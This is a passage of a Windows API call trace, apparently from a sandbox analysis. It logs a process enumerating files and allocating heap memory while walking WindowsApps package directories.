HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.532] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.540] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.548] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.549] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.549] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0062.549] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.549] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.552] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.552] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.552] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.552] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.559] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.559] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.559] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.559] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.559] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0062.559] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.560] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.592] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.592] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.594] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.594] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.594] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.594] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.609] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.609] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.610] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.610] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.610] FindClose (in: hFindFile=0x42802c0 | out: hFindFile=0x42802c0) returned 1 [0062.610] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.610] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.613] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.629] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.629] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.633] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.633] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.634] FindClose (in: hFindFile=0x42802c0 | out: hFindFile=0x42802c0) returned 1 [0062.635] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.635] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.635] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.635] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.636] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.637] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.637] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.637] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.637] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.638] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.638] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.638] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.638] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.638] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.640] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.640] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.641] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.641] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.642] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.644] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.644] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0062.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.644] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.644] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.644] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.656] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.657] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.657] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.657] FindClose (in: hFindFile=0x42802c0 | out: hFindFile=0x42802c0) returned 1 [0062.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.659] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.659] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0062.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.659] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.721] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.721] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.721] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources") returned 87 [0062.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280580 [0062.721] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.721] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.722] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.722] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.722] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0062.722] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.722] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.722] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.722] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.722] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.722] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0062.722] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe") returned 84 [0062.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x4280800 [0062.722] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.722] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.722] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.722] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.722] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned 97 [0062.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280640 [0062.722] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.722] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.722] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.723] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0062.723] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.723] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.723] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.723] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.723] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned 118 [0062.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x42800c0 [0062.723] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.723] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.723] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0062.723] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.723] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.723] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.723] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.723] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.723] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0062.723] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned 99 [0062.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x4280100 [0062.723] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.723] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.724] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.724] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.724] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.724] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.724] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets") returned 106 [0062.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280800 [0062.724] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.725] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.727] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.727] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.727] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.727] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.727] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.727] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.727] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.727] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned 133 [0062.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280340 [0062.728] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.728] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.728] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0062.728] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.728] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.728] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0062.728] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0062.728] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.728] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0062.728] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0062.728] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned 80 [0062.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x42801c0 [0062.728] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.728] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.728] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.728] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.728] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.728] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned 93 [0062.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x42803c0 [0062.729] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0062.729] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0062.729] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0062.729] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.729] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned 87 [0062.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280800 [0062.729] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.729] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.730] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.730] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.730] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0062.730] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0062.731] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts") returned 93 [0062.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\*", lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0x42800c0 [0062.731] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.731] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0062.731] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0062.731] 